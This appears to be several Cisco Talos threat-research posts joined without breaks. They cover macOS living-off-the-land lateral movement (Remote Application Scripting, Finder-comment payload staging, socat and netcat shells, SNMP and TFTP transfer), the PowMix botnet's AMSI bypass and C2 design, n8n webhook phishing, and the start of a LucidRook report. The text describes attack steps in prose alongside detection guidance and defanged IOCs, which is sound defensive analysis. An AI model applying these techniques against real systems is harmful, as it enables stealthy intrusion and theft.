• Defenders should shift from static file scanning to monitoring process lineage, inter-process communication (IPC) anomalies, and enforcing strict MDM policies to disable unnecessary administrative services.

---

As macOS adoption in the enterprise reaches record highs, with over 45 percent of organizations now utilizing the platform, the traditional "security through obscurity" narrative surrounding the OS has been rendered obsolete. Mac endpoints, once relegated to creative departments, are now the primary workstations for developers, DevOps engineers, and system administrators. Consequently, these machines have become high-value targets that serve as gateways to source code repositories, cloud infrastructure, and sensitive production credentials. 

Despite this shift, macOS-native lateral movement and execution tradecraft remain significantly understudied compared to their Windows counterparts. This research was conducted to address this critical knowledge gap. Through a systematic validation of native macOS protocols and system binaries, it is demonstrated how adversaries can “live off the land” (LOTL) by repurposing legitimate administrative tools. By weaponizing native primitives, such as Remote Application Scripting (RAS) and Spotlight metadata, intentional OS security features can be bypassed to transform standard system functions into robust mechanisms for arbitrary code execution and fleet-wide orchestration.

The macOS enterprise blind spot 

macOS is no longer a niche operating system. According to the Stack Overflow 2024 Developer Survey, a third of professional developers use macOS as their primary platform. These machines represent high-value pivot points, often holding source code repositories, cloud credentials, and SSH keys to production infrastructure. 

Despite this trend, the MITRE ATT&CK framework documents far fewer techniques for macOS than for Windows, and recent industry reports indicate that macOS environments prevent significantly fewer attacks than their Windows or Linux counterparts. To address this disparity, community-driven resources such as LOOBins (living-off-the-orchard binaries) have emerged to catalog native macOS binaries that can be repurposed for malicious activity. This research aims to further close that gap by systematically enumerating the native pathways available for both movement and execution.

Remote command execution: Weaponizing native primitives 

Establishing a remote shell is the first step in any post-exploitation chain. While SSH is the standard, native macOS features provide several alternatives that can bypass traditional monitoring. 

Remote Application Scripting as a Software Deployment Tool (T1072) 

Remote Application Scripting (RAS, formerly known as Remote Apple Events or RAE) was introduced to extend the capabilities of the AppleScript Inter-Process Communication (IPC) framework across a network. By utilizing the Electronic Program-to-Program Communication (“eppc”) protocol, administrative tasks and application automation can be performed on remote macOS systems. This mechanism allows a controller machine to send high-level commands to a target machine, which are then processed by the “AppleEventsD” daemon. 

The Open Scripting Architecture (OSA) is utilized as the standardized framework for this inter-application communication and automation on macOS. Through the exchange of Apple Events, this architecture enables scripts to programmatically interact with the operating system and installed applications, providing the functional foundation for the “osascript” utility. 

Traditionally, RAS is viewed as a lateral movement vector; however, this research demonstrates that it can also be utilized as a standalone Software Deployment Tool for Execution (T1072). 

Adversaries attempting to use RAS for complex payloads often encounter Apple’s intentional security features, specifically the -10016 Handler Error. This restriction prevents the “System Events” application from executing remote shell commands via do shell script, even when RAS is globally enabled.

To bypass this, a methodology was developed that treats “Terminal.app” as an execution proxy. Unlike “System Events”, “Terminal.app” is designed for shell interaction and accepts remote “do script” commands. To ensure payload integrity and bypass AppleScript parsing limitations (such as the -2741 syntax error), Base64 transport encoding is utilized. This transforms multi-line scripts into flat, alphanumeric strings that are decoded and executed in a two-stage process: 

1. Deployment: A single RAS command instructs the remote “Terminal.app” to decode the Base64 string into a temporary path and apply chmod +x. 
2. Invocation: A second RAS command explicitly invokes the script via "bash”, ensuring a proper shell context.

Remote Application Scripting for Lateral Movement (T1021.005) 

While RAS can be weaponized for execution, its primary function remains the facilitation of inter-process communication (IPC) across a network. In a lateral movement context, RAS is utilized to control remote applications by targeting the “eppc://” URI. This allows for the remote manipulation of the file system or the retrieval of sensitive environmental data without the need for a traditional interactive shell. 

For example, the command in Figure 4 can be used to remotely query the Finder for a list of mounted volumes on a target machine, providing an adversary with immediate insight into the victim's network shares and external storage:

Because these actions are performed via Apple Events rather than standard shell commands, they often bypass security telemetry that focuses exclusively on process execution trees, making RAS a discreet and effective vector for lateral movement.

AppleScript execution via SSH 

AppleScript is macOS's built-in scripting language for automation. While RAS is a viable application control mechanism, Apple security controls prevent RAS from launching applications; they must already be running. Additionally, RAS must be enabled on the target. To circumvent these obstacles, osascript can be invoked directly over SSH. 
 
Passing osascript the system info command over SSH returns critical environmental details:

For arbitrary command execution, AppleScript's do shell script handler can be invoked over SSH. In the following example, do shell script is used to write a file to the target:

While SSH alone can accomplish shell tasks, osascript provides access to graphical user interfact (GUI) automation and Finder manipulation through Apple Events IPC rather than spawning shell processes. This creates a significant telemetry gap, as most endpoint detection tooling has less visibility into IPC-driven actions than standard shell process trees.

socat remote shell 

socat (SOcket CAT) is a command line utility for establishing bidirectional data streams between two endpoints. It supports a wide range of socket types including TCP, UDP, Unix domain sockets, and pseudo terminals (pty). 

In a lateral movement context, socat can establish an interactive shell on a target without relying on SSH. The target runs a listener that binds a login shell to a TCP port with pty allocation, and the attacker connects to it from a remote machine. 

On the target, the listener spawns an interactive bash session for each incoming connection with pty forwarding:

From the attacking machine, connecting to the listener provides a fully interactive terminal: 

On the target, the reuseaddr,fork options allow multiple connections and reuse of the port, while pty,stderr on the exec gives the connecting client a proper terminal with stderr output. On the sender side, raw,echo=0,icanon=0 puts the local terminal into raw mode so that control characters and signals pass through to the remote shell correctly. 

SSH is the de facto mechanism for gaining remote shell access on remote hosts, and as a result, it is where most detection engineering efforts are focused. socat achieves the same outcome, fully interactive terminal access, but operatesentirely outside the SSH ecosystem. There are no sshd logs, PAM authentication events, or “authorized_keys” to manage, which means detection pipelines built around SSH telemetry would not catch this activity.

Covert data transfer: Finder metadata abuse 

A notable constraint of RAS is its inability to write file contents directly. To work around this, we can abuse the Finder Comment (“kMDItemFinderComment”) field, which is stored as Spotlight metadata. 

Writing payloads to Finder Comments 

A notable constraint of RAS is its inability to write file contents directly. To circumvent this, threat actors can abuse the Finder Comment field (“kMDItemFinderComment”) — a component of Spotlight metadata stored as an extended attribute. By storing a payload within metadata rather than the file's data fork, they can bypass traditional file-based security scanners and static analysis tools, which typically focus on executable code and script contents. 

Because Finder is scriptable over RAS, the comment of a file on a remote machine can be set via the “eppc://” protocol. By Base64 encoding a payload locally, a multi-line script can be stored within this single string field. The make new file command handles the creation of the target file, ensuring that no pre-existing file is required:

The payload resides entirely within the Spotlight metadata, a location that remains largely unexamined by standard endpoint detection and response (EDR) solutions. This creates a stealthy staging area where malicious code can persist on the disk without triggering alerts associated with suspicious file contents. 

Extraction and execution 

On the target, extraction and execution is a single line. mdls reads the comment, base64 -D decodes it, and the result is piped to “bash”: 

Persistence via LaunchAgent 

This approach can be paired with a LaunchAgent for persistence. A plist in “~/Library/LaunchAgents” that executes the extraction chain at user login allows the payload to run automatically. 

Our initial attempt using mdls inside the LaunchAgent failed because Spotlight may not be fully initialized when LaunchAgents fire. The fix was to replace mdls with osascript calling Finder directly to read the comment:

Talos confirmed this successfully executes the payload at login. It is worth noting that macOS prompts the user to approve the bash execution at login, which is a visible indicator of background activity. The plist contains no payload, only a reference to metadata, so static analysis of the LaunchAgent would not reveal the malicious content. 

Lateral Tool Transfer techniques 

Once attackers achieve execution, they must move their toolkit across the environment. Several native protocols were validated for tool transfer (T1570). 

Standard protocols: SCP and SFTP 

SCP (Secure Copy Protocol) and SFTP (SSH File Transfer Protocol) are the most straightforward methods, operating over SSH and available out-of-the-box on any macOS system with Remote Login enabled.

SMB-based transfer 

Server Message Block (SMB) is a network file sharing protocol commonly associated with Windows environments, but macOS includes native support for both SMB client and server functionality. In a lateral movement context, an attacker can mount a remote SMB share and access its contents as if they were local files. 

This method of setting up an SMB share on the victim requires SSH access. The following command creates a shared directory, loads the SMB daemon, and creates the share.

With the share created, the next step is mounting it from the attacker machine. Attempting this action with the mount command failed due to an authentication error.

To resolve this issue, GUI access to the victim machine was required. On the victim machine, navigate to System Settings > General > Sharing > File Sharing > Options. Located here is the option to store the user's account password on the computer. Even though this is labeled as "Windows File Sharing", it was required to properly authenticate the user when using the mount utility. 

However, this entire GUI dependency can be avoided by using osascript to mount the share instead of mount:

This mounts the share to “/Volumes/share” without requiring the GUI configuration step. With the share mounted, any file copied into the mount directory appears on the victim immediately. 

Netcat-based transfer 

nc (netcat) is a well-known general-purpose networking utility that ships with macOS. It can be utilized to open arbitrary TCP and UDP connections, listen on ports, and pass data between them. 

The simplest pattern involves piping commands directly into a netcat listener. On the target, a listener is established that pipes incoming data directly to sh:

From the attacking machine, a command is then echoed into nc targeting the victim's IP and port:

The attacker sends the curl google.com command over the wire, which is caught by the victim's listener and executed by sh. The resulting output confirms successful execution on the target. 

Netcat can also facilitate file transfers through several different methods. An attacker could invoke a fetch to a remote system where a script or payload is hosted, or start a simple HTTP server on their own machine to perform ad hoc tool transfer.

Git-based transfer 

git is a version control system ubiquitous in software development. Its prevalence on developer machines and reliance on SSH as a transport make git push a practical file transfer mechanism. The technique requires initializing a repository on the target and setting receive.denyCurrentBranch updateInstead. By default, git refuses pushes to a branch that is currently checked out on the remote. This setting overrides that behavior and updates the working tree on push, landing files on disk the moment the operation completes. 

First, a receiving repository is initialized on the target over SSH:

On the attacker, a local repository is created with the payload, and the remote is pointed at the target:

After the push, “script.sh” exists on the target at “~/repos/project/script.sh”. Additional file transfers only require adding new files, committing, and pushing again. Because git operates over SSH, the transfer is encrypted and uses the same authentication established for command execution. 

TFTP (Standard and unprivileged) 

TFTP (Trivial File Transfer Protocol) is a lightweight, unauthenticated file transfer protocol that operates over UDP. macOS includes both a TFTP server and client. The server is not active by default but can be started through launchd. 

With root access on the target, the system's built-in TFTP plist activates the server in a single command:

This serves “/private/tftpboot” on the standard TFTP port (UDP 69). The TFTP system plist does not provide the -w flag to the tftpd process. Without it, the server only allows writes to files that already exist. A placeholder file must be created on the target for each file being transferred:

From the attacker, the payload is pushed to the target: 

In a post-exploitation scenario without root access, tftpd can still be deployed by loading a user-created plist from “/tmp” on a non-standard port. This variant passes the tftpd -w flag, which allows write requests to create new files, removing the placeholder requirement. 

SNMP trap-based transfer 

SNMP (Simple Network Management Protocol) is used for monitoring and managing network devices. SNMP traps are unsolicited notifications sent from agents to a management station over UDP port 162. The trap payload can carry arbitrary string data under custom OIDs, which can be repurposed as a data transfer channel. macOS ships with the necessary net-snmp tools: snmptrap (“/usr/bin/snmptrap”) on the sender and snmptrapd (“/usr/sbin/snmptrapd”) on the receiver. 

The approach works by Base64 encoding a file, splitting it into fixed-size chunks, and sending each chunk as an SNMP trap payload under a custom OID in the private enterprise space (“1[.]3[.]6[.]1[.]4[.]1[.]99999”). A trap handler on the receiving end reassembles the chunks and decodes the file. The protocol uses three message types: “FILENAME” signals the start of a transfer, “DATA” carries a Base64 chunk, and “END” triggers reassembly. 

On the receiver, a trap handler processes incoming traps:

The snmptrapd daemon is then configured on the target to route all incoming traps to the handler and started in the foreground:

On the sender, a script handles the encoding, chunking, and transmission. Each chunk is sent as a separate SNMP trap with a short delay between sends to avoid overwhelming the receiver:

The sender initiates the transfer: 

The target receives the transfer:

The matching MD5 hashes confirm the file was transferred and reassembled intact. 

Socat file transfer 

The socat shell established in the above "socat remote shell” section can also serve as a file transfer channel. Because the listener provides a fully interactive bash session, file contents can be written to the remote host by injecting a heredoc through the connection. This means socat alone handles both remote command execution and tool transfer without requiring any additional services or listeners. 

With the socat listener running on the target, the attacker delivers a file by piping a heredoc-wrapped cat command through a socat connection:

Detection and defensive considerations 

Defending against LOTL techniques requires a shift from simple network alerts to granular process and metadata analysis. 

Network indicators 

Inbound TCP traffic on port 3031 (the “eppc” port) and unusual SNMP/TFTP traffic on internal LAN segments should be monitored for potential unauthorized activity. 

Endpoint indicators (EVM) 

Through mapping to the Open Cybersecurity Schema Framework (OCSF), an open-source effort to deliver a simplified and vendor-agnostic taxonomy for security telemetry, high-fidelity signatures for these behaviors were identified: 

• Suspicious lineage: Process trees following the pattern launchd -> AppleEventsD -> Terminal -> sh/bash. 
• Metadata monitoring: Frequent or unusual calls to mdls or writes to “com.apple.metadata:kMDItemFinderComment”. 
• Command line anomalies: base64 --decode commands originating from GUI applications or osascript executions containing “of machine "eppc://..."” arguments. 

Native security controls and hardening recommendations 

Several built-in macOS security mechanisms can be configured to mitigate the risks associated with native primitive abuse: 

• Transparency, Consent, and Control (TCC) restrictions: The "Automation" category within TCC is designed to regulate inter-application communication. By enforcing strict TCC policies via Mobile Device Management (MDM), unauthorized Apple Events between applications — such as a script attempting to control “Terminal.app” or “Finder” — can be blocked. 
• MDM Policy Enforcement: RAS and Remote Login (SSH) should be disabled by default across the fleet. These services can be managed and restricted using MDM configuration profiles (e.g., the “com.apple.RemoteAppleEvents”payload) to ensure they are only active on authorized administrative hosts. 
• Service hardening: Unnecessary network-facing services, such as tftpd and snmpd, should be explicitly disabled. The removal of these launchd plists from “/System/Library/LaunchDaemons” (where permitted by System Integrity Protection) or the use of launchctl disable commands prevents their use as ad-hoc data transfer channels. 
• Application firewall and Stealth Mode: The built-in macOS application firewall should be enabled and configured in "Stealth Mode." This configuration ensures the device does not respond to unsolicited ICMP or connection attempts on common ports, reducing the visibility of the endpoint during internal reconnaissance. 

Conclusion 

The research presented in this article underscores a fundamental reality of modern endpoint security. The same primitives designed for administrative convenience and system automation are often the most potent tools in an adversary's arsenal. By moving beyond traditional exploit-based attacks and instead LOTL, attackers can operate within the noise of legitimate system activity.

From the weaponization of the “eppc” protocol to the creative abuse of Spotlight metadata and SNMP traps, it is clear that the macOS attack surface is both vast and nuanced. These techniques demonstrate that even within a "walled garden" ecosystem, native pathways for movement and execution remain accessible to those who understand the underlying architecture. 

For defenders, the primary takeaway is that visibility remains the most effective deterrent. By shifting focus from static file analysis to the monitoring of process lineage, inter-process communication, and metadata anomalies, these "bad Apples" can be identified and neutralized. As macOS continues its expansion into the enterprise core, the documentation and detection of these native techniques must remain a priority for the security community. 

• Cisco Talos discovered an ongoing malicious campaign, operating since at least December 2025, affecting a broader workforce in the Czech Republic with a previously undocumented botnet we call “PowMix.” 
• PowMix employs randomized command-and-control (C2) beaconing intervals, rather than persistent connection to the C2 server, to evade the network signature detections. 
• PowMix embeds the encrypted heartbeat data along with unique identifiers of the victim machine into the C2 URL paths, mimicking legitimate REST API URLs. 
• PowMix has the capability to remotely update the new C2 domain to the botnet configuration file dynamically. 
• Talos observed a few tactical similarities of the current campaign with the ZipLine campaign, including the payload delivery mechanism and the misuse of the legitimate cloud platform Heroku for C2 operations.

---

Victimology  

Talos observed that an attacker targeted Czech organizations across various levels, based on the contents of the lure documents used by the attacker in the current campaign.

Impersonating the legitimate EDEKA brand and authentic regulatory frameworks such as the Czech Data Protection Act, the attacker deploys decoy documents with compliance-themed lures, potentially aimed at compromising victims from human resources (HR), legal, and recruitment agencies. In the lure documents, the attacker also used compensation data, as well as the legitimate legislative references, to enhance the authenticity of these decoy documents and to entice the job aspirants across diverse sectors like IT, finance, and logistics. 

TTPs overlaps with the ZipLine campaign  

Talos observed a few tactical similarities employed in the current campaign with that of the ZipLine campaign, reported by researchers from Check Point in August 2025.

In the current campaign, the PowMix botnet payload is delivered via an LNK triggered PowerShell loader that extracts it from a ZIP archive data blob, bypasses AMSI, and executes the decrypted script directly in memory. This campaign shares tactical overlaps with the older ZipLine campaign (which deployed the MixShell malware), including identical ZIP-based payload concealment, Windows-scheduled task persistence, CRC32-based BOT ID generation, and the abuse of “herokuapp.com” for command-and-control (C2) infrastructure. Although there are overlaps in the tactics, the attacker’s final payload was unobserved, and the intent remains unknown in this campaign.

Attack summary  

The attack begins when a victim runs the Windows shortcut file contained within the received malicious ZIP file, potentially through a phishing email. This shortcut file triggers the execution of an embedded PowerShell loader script, which initially creates a copy of the ZIP file along with its contents in the victim's “ProgramData” folder. Subsequently, it loads the malicious ZIP file, extracts, and executes the embedded PowMix botnet payload directly in the victim's machine memory and starts to communicate with the botnet C2. 

PowerShell loader executes PowMix in memory  

The first stage PowerShell script functions as a loader, and its execution routine is designed to bypass security controls and deliver a secondary payload. It begins by defining several obfuscated variables, including file name of the malicious ZIP file that was likely received via a phishing email. Then, the script dynamically constructs paths to the folders such as “ProgramData” and the user’s “Downloads” folder to locate this ZIP file. Once the ZIP file is found, it extracts the contents to the “ProgramData”folder, effectively staging the environment for the next phase of the attack.

To evade detection, the script employs an AMSI (Antimalware Scan Interface) bypass technique. It uses a reflection technique to browse the loaded assemblies in the current process, specifically searching for the AmsiUtils class. Once located, it identifies the amsiInitFailed field and manually sets its value to true. This action deceives the Windows security subsystem into thinking that AMSI has not initialized, which disables real-time scanning of subsequent commands, enabling the script to run malicious code in memory without being detected by Windows Defender or other endpoint detection and response (EDR) solutions. 

The script parses the malicious ZIP file to locate a specific marker that is hardcoded, such as zAswKoK. This marker is treated as a delimiter, enabling the extraction of a hidden, encoded command that is embedded within the ZIP file data blob.  

Throughout this process, the script performs a series of string replacements, which include the removal of # symbols and the mapping of placeholders, such as {cdm}, to their corresponding specific file paths, reconstructing a functional secondary PowerShell script payload. Then it executes the secondary payload script in the victim machine memory using the Invoke-Expression (IEX) PowerShell command.  

PowMix botnet 

Talos discovered that the secondary payload PowerShell script, which we call “PowMix,” is a previously unreported botnet designed for remote access, reconnaissance, and remote code execution. 

The main execution of the script begins with an environment check to ensure it is running within a specific loader context at the placeholder {cdm}, which is the path of the Windows shortcut in the ProgramData folder, before immediately attempting to conceal its presence. It invokes a function that utilizes the Win32ShowWindowAsync function of “user32.dll” to hide the current PowerShell console window.  

Then it decrypts the C2 domain and a configuration file using a custom XOR-based routine with a hardcoded key. It retrieves the machine's product ID by querying the HKLM: SOFTWARE\Microsoft\Windows NT\CurrentVersion registry key for the Windows ProductID. PowMix processes the victim machine’s ProductID and the decrypted configuration data through a CRC32-style checksum function to generate a unique Bot ID and a corresponding Windows schedule task name, which it subsequently uses to establish persistence. 

Some of the hardcoded XOR key strings found in this campaign are: 

• HpSWSb  
• qDQyxQE  
• bKUxmhyAe 
• HymzqLse 
• KsEYwmgSF 
• ujCPOEPU 

Instead of using obvious task names, PowMix names the scheduled task by concatenating the Bot ID and Configuration file hash, resulting in names that appear as random hexadecimal strings (such as "289c2e236761”). The task configuration specifies a daily trigger set to execute at 11:00 a.m., and the execution action is configured to launch the benign Windows Explorer binary with the malicious Windows Shortcut file path as an argument. Windows Explorer's file association handling then automatically launches the malicious shortcut file to execute the PowerShell loader script.  

Before attempting to establish persistence, PowMix performs several validation checks to ensure that another instance of the botnet is not running in the infected machine. It examines the process tree using Common Information Model (CIM) queries to identify its parent processes. If the PowMix is not running under either “svchost.exe” or “powershell.exe”, and if certain environmental variables are not set, it attempts to restart itself in the privileged context. 

The mutex implementation in the botnet prevents multiple instances from running at the same time. It creates a mutex with the name “Global\[BotID]”.  The “Global” prefix makes the mutex visible across all user sessions, stopping separate instances from running in different user sessions. 

PowMix avoids persistent connections to the C2 server. Instead, it implements a jitter via Get-Random PowerShell command to vary the beaconing intervals initially between 0 and 261 seconds, and subsequently between 1,075 and 1,450 seconds. This technique attempts to prevent detection of C2 traffic through predictable network signatures. 

Each request from PowMix  to C2 is created by concatenating the base C2 domain with the Bot ID, configuration file hash, an encrypted heartbeat, a hexadecimal Unix timestamp, and a random hexadecimal suffix. The standard heartbeat string “[]0” is encrypted using a custom XOR routine using the Bot ID as the key and is then converted to a hex string. The inclusion of a random length hexadecimal suffix further ensures that every URL is unique. 

The attacker mimics the REST API calls URLs by embedding these data directly into the URL path, instead of using a URL query string or a POST request for communicating with the C2 server. 

PowMix establishes a Chrome User-Agent and configures the Accept-Language (en-US) and Accept-Encoding (gzip, deflate, br) headers. It utilizes the GetSystemWebProxy API along with DefaultCredentials to dynamically adopt the host machine’s network proxy settings and automatically authenticates using the logged-in user's active session tokens, thereby disguising the C2 traffic as legitimate web browser traffic within the victim’s environment. 

The PowMix command processing logic is executed upon receiving the response from the C2 with a period delimiter. It extracts the second segment and decrypts it using the unique Bot ID as the XOR key. The resulting decrypted response is then evaluated through a conditional parser that distinguishes between the command operations hardcoded in the botnet and arbitrary code execution, allowing the attacker to remotely control the victim machine.  

The remote management commands that the botnet receives from the C2 are identified by a leading hash symbol (#). We found that the PowMix botnet facilitates the commands described below: 

• #KILL - The KILL command initiates a self-deletion routine, utilizing the Unregister-ScheduledTask PowerShell command with the parameter Confirm: $false to silently remove persistence, followed by Remove-Item -Recurse–Force command to wipe the malware’s directory in the victim machine.  
• #HOST - The HOST command enables the C2 infrastructure migration by remotely updating a new C2 URL to a configuration file. By receiving the HOST command, PowMix will encrypt the new domain that it receives using the hardcoded XOR key and save it to a local configuration file via Set-Content PowerShell command. During the next initialization of the botnet through the task scheduler execution, it prioritizes the local configuration file data with the encrypted new C2 domain over hardcoded defaults, providing a robust mechanism for evading domain blacklisting. 
• For non #-prefixed responses from the C2, the command processing routine of PowMix transitions into an arbitrary execution mode. It bypasses static detection of the Invoke-Expression (IEX) PowerShell command by dynamically reconstructing the command string from the $VerbosePreference variable and executes the decrypted payload while redirecting the output to Out-Null, ensuring erasing the execution traces.  

Coverage

The following ClamAV signature detects and blocks this threat: 

• Lnk.Trojan.PowMix-10059735-0 
• Txt.Trojan.PowMix-10059742-0 
• Txt.Trojan.PowMix-10059778-0 
• Win.Trojan.PowMix-10059728-0 

The following Snort Rules (SIDs) detect and block this threat: 

• Snort2 and Snort3: 66118 

Indicators of compromise (IOCs) 

The IOCs for this threat are also available at our GitHub repository here. 

• Cisco Talos research has uncovered agentic AI workflow automation platform abuse in emails. Recently, we identified an increase in the number of emails that abuse n8n, one of these platforms, from as early as October 2025 through March 2026. 
• In this blog, Talos provides concrete examples of how threat actors are weaponizing legitimate automation platforms to facilitate sophisticated phishing campaigns, ranging from delivering malware to fingerprinting devices.  
• By leveraging trusted infrastructure, these attackers bypass traditional security filters, turning productivity tools into delivery vehicles for persistent remote access.

---

AI workflow automation platforms such as Zapier and n8n are primarily used to connect different software applications (e.g., Slack, Google Sheets, or Gmail) with AI models (e.g., OpenAI’s GPT-4 or Anthropic’s Claude). These platforms have been applied to different application domains, including cybersecurity over the past few months, especially with the progress that has been made in new avenues like large language models (LLMs) and agentic AI systems. However, much like other legitimate tools, AI workflow automation platforms can be weaponized to orchestrate malicious activities, like delivering malware by sending automated emails.

This blog describes how n8n, one of the most popular AI workflow automation platforms, has been abused to deliver malware and fingerprint devices by sending automated emails.

What is n8n?

N8n is a workflow automation platform that connects web applications and services (including Slack, GitHub, Google Sheets, and others with HTTP-based APIs) and builds automated workflows. A community-licensed version of the platform can be self-hosted by organizations. The commercial service, hosted at n8n.io, includes AI-driven features that can create agents capable of using web-based APIs to pull data from documents and other data sources.

Users can register for an n8n developer account at no initial charge. Doing so creates a subdomain on “tti.app.n8n[.]cloud” from which the user’s applications can be accessed. This is similar to many web-based AI-aided development tools, and one that malicious actors have harnessed elsewhere in the past; earlier this year, Talos observed another AI-oriented web application service, Softr.io, being used for the creation of phishing pages used in a series of targeted attacks.

How n8n’s webhooks work

Talos' investigation found that a primary point of abuse in n8n’s AI workflow automation platform is its URL-exposed webhooks. A webhook, often referred to as a “reverse API,” allows one application to provide real-time information to another. These URLs register an application as a “listener” to receive data, which can include programmatically pulled HTML content. An example of an n8n webhook URL is shown in Figure 1.

When the URL receives a request, the subsequent workflow steps are triggered, returning results as an HTTP data stream to the requesting application. If the URL is accessed via email, the recipient’s browser acts as the receiving application, processing the output as a webpage.

Talos has observed a significant rise in emails containing n8n webhook URLs over the past year. For example, the volume of these emails in March 2026 was approximately 686% higher than in January 2025. This increase is driven, in part, by several instances of platform abuse, including malware delivery and device fingerprinting, as we will discuss in the next sections.

Abusing n8n for malware delivery

Because webhooks mask the source of the data they deliver, they can be used to serve payloads from untrusted sources while making them appear to originate from a trusted domain. Furthermore, since webhooks can dynamically serve different data streams based on triggering events — such as request header information — a phishing operator can tailor payloads based on the user-agent header.

Talos observed a phishing campaign (shown in Figure 3) that used an n8n-hosted webhook link in emails that purported to be a shared Microsoft OneDrive folder. When clicked, the link opened a webpage in the targeted user’s browser containing a CAPTCHA.

Once the CAPTCHA is completed, a download button appears, triggering a progress bar as the payload is downloaded from an external host. Because the entire process is encapsulated within the JavaScript of the HTML document, the download appears to the browser to have come from the n8n domain.

In this case, the payload was an .exe file named “DownloadedOneDriveDocument.exe” that posed as a self-extracting archive. When opened, it installed a modified version of the Datto Remote Monitoring and Management (RMM) tool and executed a chain of PowerShell commands.

The PowerShell commands generated by the malicious executable extract and configure the Datto RMM tool, configure it as a scheduled task, and then launch it, establishing a connection to a relay on Datto's "centrastage[.]net" domain before deleting themselves and the rest of the payload.

Talos observed a similar campaign that also utilized an n8n webhook to deliver a different payload. Like the previous instance, it featured a self-contained phishing page delivered as a data stream from the webhook, protected with a CAPTCHA for human verification.

This CAPTCHA code was significantly simpler than the first case. The payload delivered upon solving the CAPTCHA was a maliciously modified Microsoft Windows Installer (MSI) file named “OneDrive_Document_Reader_pHFNwtka_installer.msi”. Protected by the Armadillo anti-analysis packer, the payload deployed a different backdoor: the ITarian Endpoint Management RMM tool. When executed by “msiexec.exe”, the file installs a modified version of the ITarian Endpoint RMM, which acts as a backdoor while running Python modules to exfiltrate information from the target’s system. During this process, a fake installer GUI displays a progress bar; once finished, the bar resets to 0% and the application exits, creating the illusion of a failed installation.

Abusing n8n for fingerprinting 

Talos observed another common abuse case: device fingerprinting. This is achieved by embedding an invisible image (or tracking pixel) within an email. For example, when the <img> HTML tag is used, it tells the email client (e.g., Outlook or Gmail) to fetch an image from a specific URL. Figure 9 shows an example spam email in the Spanish language that leverages this technique.

When the email client attempts to load the image, it automatically sends an HTTP GET request to the specified address, which is an n8n webhook URL. These URLs include tracking parameters (such as the victim’s email address), allowing the server to identify exactly which user opened the email. Also, it is clear how this image is made invisible by using the “display” and “opacity” CSS properties.

The second example below uses the same technique to track email opens and fingerprint the recipient’s device. Here, the sender tries to get a hold of recipient by introducing a new gift card feature.

Conclusion

The same workflows designed to save developers hours of manual labor are now being repurposed to automate the delivery of malware and fingerprinting devices due to their flexibility, ease of integration, and seamless automation. As we continue to leverage the power of low-code automation, it’s the responsibility of security teams to ensure these platforms and tools remain assets rather than liabilities.

Protection

Because several AI automation platforms exist today that are inherently designed to be flexible and trustworthy, the security community must move beyond simple static analysis to effectively counter their abuse. For instance, instead of blocking entire domains, which would disrupt legitimate business workflows, security researchers should investigate behavioral detection approaches. These should trigger alerts when high volumes of traffic are directed toward such platforms from unexpected internal sources. Similarly, if an endpoint attempts to communicate with an AI automation platform’s domain (e.g., “n8n.cloud”) that is not part of the organization’s authorized workflow, it should trigger an immediate alert.

Collaborative intelligence sharing is another effective approach to countering malicious email campaigns. Security teams should prioritize sharing indicators of compromise (IOCs) — such as specific webhook URL structures, malicious file hashes, and command and control (C2) domains — with platforms like Cisco Talos Intelligence.

Last but not least, safeguarding against these complex threats necessitates a comprehensive email security solution that utilizes AI-driven detection. Secure Email Threat Defense employs distinctive deep learning and machine learning models, incorporating Natural Language Processing, within its sophisticated threat detection systems. It detects harmful techniques employed in attacks against your organization, extracts unmatched context for particular business risks, offers searchable threat data, and classifies threats to identify which sectors of your organization are most at risk of attack. You can register now for a free trial of Email Threat Defense.

IOCs 

IOCs for this threat also available on our GitHub repository here. 

93a09e54e607930dfc068fcbc7ea2c2ea776c504aa20a8ca12100a28cfdcc75a 
7f30259d72eb7432b2454c07be83365ecfa835188185b35b30d11654aadf86a0 
hxxps[://]onedrivedownload[.]zoholandingpage[.]com/my-workspace/DownloadedOneDrive 
hxxps[://]majormetalcsorp[.]com/Openfolder 
hxxps[://]pagepoinnc[.]app[.]n8n[.]cloud/webhook/downloading-1a92cb4f-cff3-449d-8bdd-ec439b4b3496 
hxxps[://]monicasue[.]app[.]n8n[.]cloud/webhook/download-file-92684bb4-ee1d-4806-a264-50bfeb750dab 

• Cisco Talos uncovered a cluster of activity we track as UAT-10362 conducting spear-phishing campaigns against Taiwanese non-governmental organizations (NGOs) and suspected universities to deliver a newly identified malware family, “LucidRook.” 
• LucidRook is a sophisticated stager that embeds a Lua interpreter and Rust-compiled libraries within a dynamic-link library (DLL) to download and execute staged Lua bytecode payloads. The dropper “LucidPawn” uses region-specific anti-analysis checks and executes only in Traditional Chinese language environments associated with Taiwan. 
• Talos identified two distinct infection chains used to deliver LucidRook, involving malicious LNK and EXE files disguised as antivirus software. In both cases, the actor abused an Out-of-band Application Security Testing (OAST) service and compromised FTP servers for command-and-control (C2) infrastructure. 
• Through hunting for LucidRook, we discovered “LucidKnight,” a companion reconnaissance tool that exfiltrates system information via Gmail. Its presence alongside LucidRook suggests the actor operates a tiered toolkit, potentially using LucidKnight to profile targets before escalating to full stager deployment. 
• The multi-language modular design, layered anti-analysis features, stealth-focused payload handling of the malware, and reliance on compromised or public infrastructure indicate UAT-10362 is a capable threat actor with mature operational tradecraft.

---

Spear-phishing campaigns against Taiwanese NGOs and universities 

Cisco Talos observed a spear-phishing attack delivering LucidRook, a newly identified stager that targeted a Taiwanese NGO in October 2025. The metadata in the email suggests that it was delivered via authorized mail infrastructure, which implies potential misuse of legitimate sending capabilities.

The email contained a shortened URL that leads to the download of a password protected and encrypted RAR archive. The decryption password was included in the email body. Based on this email and the collected samples, Talos observed two distinct infection chains originating from the delivered archives. 

Decoy files 

In the infection chain, the threat actor deployed a dropper that opens the decoy documents included in the bundle. One example decoy file is a letter issued by the Taiwanese government to universities in Taiwan. This document is a formal directive reminding national universities that teachers with administrative roles are legally required to obtain prior approval and file attendance records before traveling to China. An official version of this document can be found on the Taiwanese government website.

Two infection chains 

Talos identified two infection chains used to deploy LucidRook. Both were multi-stage and began with either an LNK or an EXE launcher. The LNK infection chain uses an initial dropper Talos tracks as LucidPawn. 

LNK-based infection chain

The LNK-based infection chain was observed in both the sample targeting Taiwanese NGOs (which were distributed via spear-phishing emails) and the sample we suspect targeted Taiwanese universities. Both samples were delivered as an archive, containing an LNK file with a document file with substituted PDF file icon, as well as a hidden directory in the folder, as shown in Figure 3.

The hidden directory contains four layers of nested folders designed to evade analysis. The fourth-level directory contains the LucidPawn dropper sample (DismCore.dll), a legitimate EXE file (install.exe), and a decoy file. An example folder structure is shown in Figure 4.

